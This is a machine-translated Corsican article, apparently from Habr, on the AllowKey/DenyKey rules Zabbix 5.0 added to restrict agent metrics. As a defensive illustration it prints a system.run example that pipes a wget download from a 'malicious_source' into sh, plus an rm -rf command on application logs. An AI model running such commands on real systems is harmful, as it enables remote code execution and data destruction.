Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Lista negra è supportu di lista bianca per e metriche di l'agente

Tikhon Uskov, Ingegnere d'Integrazione, Zabbix

Problemi di sicurità di dati

Zabbix 5.0 hà una nova funzione chì vi permette di migliurà a sicurità in i sistemi chì utilizanu Zabbix Agent è rimpiazza u vechju paràmetru Enable RemoteCommands.

I megliurenze in a sicurità di i sistemi basati in l'agenti sò da u fattu chì un agentu pò esse realizatu un gran numaru d'azzioni potenzialmente periculosi.

  • L'agente pò cullà quasi ogni infurmazione, cumpresa infurmazione cunfidenziale o potenzialmente periculosa, da i schedarii di cunfigurazione, i schedarii di log, i schedarii di password o qualsiasi altri schedari.

Per esempiu, utilizendu l'utility zabbix_get pudete accede à una lista di l'utilizatori, i so cartulari di casa, i schedarii di password, etc.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Accessu à i dati cù l'utilità zabbix_get

NOTA. I dati ponu esse ricuperati solu se l'agente hà permessi di leghje nantu à u schedariu currispundente. Ma, per esempiu, u schedariu /etc/passwd/ leggibile da tutti l'utilizatori.

  • L'agente pò ancu eseguisce cumandamenti potenzialmente periculosi. Per esempiu, chjave *system.run[]** vi permette di eseguisce qualsiasi cumandamenti remoti nantu à i nodi di a rete, cumpresu l'esecuzione di script da l'interfaccia web Zabbix chì eseguisce ancu cumandamenti da u latu di l'agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • In Linux, l'agente funziona per automaticamente senza privilegi di root, mentre chì in Windows funziona cum'è un serviziu cum'è Sistema è hà accessu illimitatu à u sistema di fugliale. In cunsiquenza, se ùn ci hè micca cambiatu in i paràmetri di l'Agente Zabbix dopu a stallazione, l'agente hà accessu à u registru, u sistema di fugliale è pò eseguisce dumande WMI.

In versioni precedenti u paràmetru EnableRemoteCommands=0 permessu solu di disattivà e metriche cù a chjave *system.run[]** è in esecuzione di script da l'interfaccia web, ma ùn ci era manera di limità l'accessu à i schedarii individuali, permette o disattivà e chjave individuali chì sò stati installati cù l'agente, o limità l'usu di paràmetri individuali.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Utilizà u paràmetru EnableRemoteCommand in versioni precedenti di Zabbix

AllowKey/DenyKey

Zabbix 5.0 aiuta à prutege contr'à un tali accessu micca autorizatu furnisce e liste bianche è neri per permette è nigà metriche da u latu di l'agente.

In Zabbix 5.0 tutte e chjave, cumprese *system.run[]** sò attivati, è duie novi opzioni di cunfigurazione di l'agente sò state aghjunte:

AllowKey = - cuntrolli permessi;

DenyKey = - cuntrolli pruibiti;

induve hè un mudellu di nome chjave cù paràmetri chì usa metacaratteri (*).

I chjavi AllowKey è DenyKey permettenu di permette o nigà metriche individuali basate nantu à un mudellu specificu. A cuntrariu di l'altri paràmetri di cunfigurazione, u numeru di paràmetri AllowKey/DenyKey ùn hè micca limitatu. Questu permette di definisce chjaramente ciò chì esattamente l'agente pò fà in u sistema, creendu un arbre di cuntrolli - chjavi eseguibili, induve l'ordine in quale sò scritti ghjucanu un rolu assai impurtante.

Sequenza di regule

I reguli sò verificati in l'ordine in quale sò inseriti in u schedariu di cunfigurazione. A chjave hè verificata secondu e regule prima di u primu partitu, è appena a chjave di l'elementu di dati currisponde à u mudellu, hè permessu o denegatu. Dopu questu, a verificazione di e regule si ferma è e chjave restante sò ignorate.

Dunque, se un elementu currisponde à una regula permessa è denegata, u risultatu dipenderà da quale regula hè prima in u schedariu di cunfigurazione.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

2 regule diffirenti cù u stessu mudellu è una chjave vfs.file.size[/tmp/file]

L'ordine di utilizà e chjave AllowKey/DenyKey:

  1. regule precise,
  2. regule generale,
  3. regula pruibitiva.

Per esempiu, sè vo avete bisognu di l'accessu à i schedari in un certu cartulare, prima deve permette l'accessu à elli, è poi nigà tuttu ciò chì ùn hè micca in i permessi stabiliti. Se a regula di denegazione hè aduprata prima, l'accessu à u cartulare serà denegatu.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Sequenza curretta

Sè avete bisognu di permette à 2 utilità per eseguisce via *system.run[]**, è a regula di denegazione serà specificata prima, l'utilità ùn serà micca lanciata, perchè u primu mudellu currisponderà sempre à qualsiasi chjave, è e regule successive seranu ignorate.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Sequenza incorrecta

Modelli

Basi rigulari

U mudellu hè un'espressione cù caratteri cumeddi. U metacaratteru (*) currisponde à qualsiasi numeru di caratteri in una pusizione specifica. I metacaratteri ponu esse utilizati in u nome chjave è in i paràmetri. Per esempiu, pudete definisce strettamente u primu paràmetru cù u testu, et précisez le suivant comme joker.

I paràmetri deve esse chjusu in parentesi quadrate [].

  • system.run[* - sbagliatu
  • vfs.file*.txt] - sbagliatu
  • vfs.file.*[*] - diritta

Esempii di usu wildcard.

  1. In u nome chjave è in u paràmetru. In questu casu, a chjave ùn currisponde micca à una chjave simili chì ùn cuntene micca un paràmetru, postu chì in u mudellu avemu indicatu chì vulemu riceve una certa fine di u nome chjave è un certu settore di paràmetri.
  2. Se u mudellu ùn usa micca parentesi quadrate, u mudellu permette tutte e chjave chì ùn cuntenenu micca paràmetri è denega tutte e chjave chì cuntenenu u paràmetru specificatu.
  3. Se a chjave hè scritta in pienu è i paràmetri sò specificati cum'è wildcard, currisponde à qualsiasi chjave simili cù qualsiasi paràmetri è ùn currisponde à a chjave senza parentesi quadrate, vale à dì chì serà permessa o denegata.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Reguli per riempie i parametri.

  • Se una chjave cù paràmetri hè destinata à esse usata, i paràmetri deve esse specificati in u schedariu di cunfigurazione. I paràmetri deve esse specificatu cum'è un metacaratteru. Hè necessariu di ricusà accuratamente l'accessu à qualsiasi schedariu è piglià in cunsiderà quale infurmazione a metrica pò furnisce in diverse spellings - cù e senza paràmetri.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Funzioni di scrittura chjave cù paràmetri

  • Se una chjave hè specificata cù paràmetri, ma i paràmetri sò opzionali è specificati cum'è un metacaratteru, una chjave senza paràmetri serà risolta. Per esempiu, sè vo vulete disattivà a ricezione di l'infurmazioni nantu à a carica nantu à u CPU è specificà chì a chjave system.cpu.load[*] deve esse disattivata, ùn vi scurdate micca chì a chjave senza paràmetri restituverà u valore mediu di carica.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Regoli per riempie i paràmetri

Note

cutter

  • Certi reguli ùn ponu esse cambiati da l'utilizatore, per esempiu, regule di scuperta o regule di autoregistrazione di l'agente. E regule AllowKey/DenyKey ùn anu micca influenza à i seguenti parametri:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTA. Se un amministratore disattiva una chjave, quandu hè interrugatu, Zabbix ùn furnisce micca infurmazioni nantu à perchè a metrica o chjave entra in a categuria "NON SUPPORTATA'. L'infurmazioni nantu à i pruibizioni di eseguisce cumandamenti remoti ùn sò micca visualizati ancu in i schedarii di log di l'agente. Questu hè per ragioni di sicurezza, ma pò complicà a debugging se e metriche entranu in una categuria micca supportata per una certa ragione..

  • Ùn deve micca cunfidendu in alcun ordine specificu per cunnette i schedarii di cunfigurazione esterni (per esempiu, in ordine alfabeticu).

Utilità di linea di cummanda

Dopu avè stabilitu e regule, avete bisognu di assicurà chì tuttu hè cunfiguratu bè.

Pudete aduprà una di e trè opzioni:

  • Aghjunghjite una metrica à Zabbix.
  • Pruvate cun zabbix_agentd. Agente Zabbix cù opzione -stampa (-p) mostra tutte e chjave (chì sò permesse per automaticamente) eccettu quelli chì ùn sò micca permessi da a cunfigurazione. È cù l'opzione -test (-t) perchè una chjave pruibita tornerà "Chjave d'elementu micca supportata'.
  • Pruvate cun zabbix_get. Utilità zabbix_get cù opzione -k tornerà 'ZBX_NOTSUPPORTED: metrica scunnisciuta'.

Permette o ricusà

Pudete nigà l'accessu à un schedariu è verificate, per esempiu, usendu l'utilità zabbix_getchì l'accessu à u schedariu hè denegatu.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

**

NOTA. Quotes in u paràmetru sò ignorati.

In questu casu, l'accessu à un tali schedariu pò esse permessu per una strada diversa. Per esempiu, se un ligame simbolicu porta à questu.

Lista negra è supportu di lista bianca per e metriche di l'agente in Zabbix 5.0

Hè ricumandemu di cuntrollà diverse opzioni per applicà e regule specificate, è ancu piglià in contu e pussibulità di evità e pruibizioni.

Вопросы и ответы

A vostra dumanda. Perchè hè statu un mudellu cusì cumplessu cù a so propria lingua scelta per discrive e regule, permessi è pruibizioni? Perchè ùn era micca pussibule di utilizà, per esempiu, l'espressioni regulare chì Zabbix usa ?

Risposte. Questu hè un prublema di rendiment regex postu chì di solitu ci hè solu un agentu è verifica un gran numaru di metriche. Regex hè una operazione abbastanza pesante è ùn pudemu micca verificà millaie di metriche in questu modu. Wildcards - una suluzione universale, largamente usata è simplice.

A vostra dumanda. Ùn sò micca include i schedari inclusi in ordine alfabeticu?

Risposte. In quantu à sapè, hè praticamenti impussibile di predichendu l'ordine in quale e regule seranu applicate si sparghje e regule in diversi schedari. Aghju ricumandemu di cullà tutte e regule AllowKey / DenyKey in un schedariu Includite, perchè interagiscenu cù l'altri, è cumprendi stu schedariu.

A vostra dumanda. In Zabbix 5.0 l'opzione 'EnableRemoteCommands=' manca da u schedariu di cunfigurazione, è solu AllowKey/DenyKey sò dispunibili?

Rispondi. Iè hè ghjustu.

Ti ringraziu per a vostra attenzione!

Source: www.habr.com

Add a comment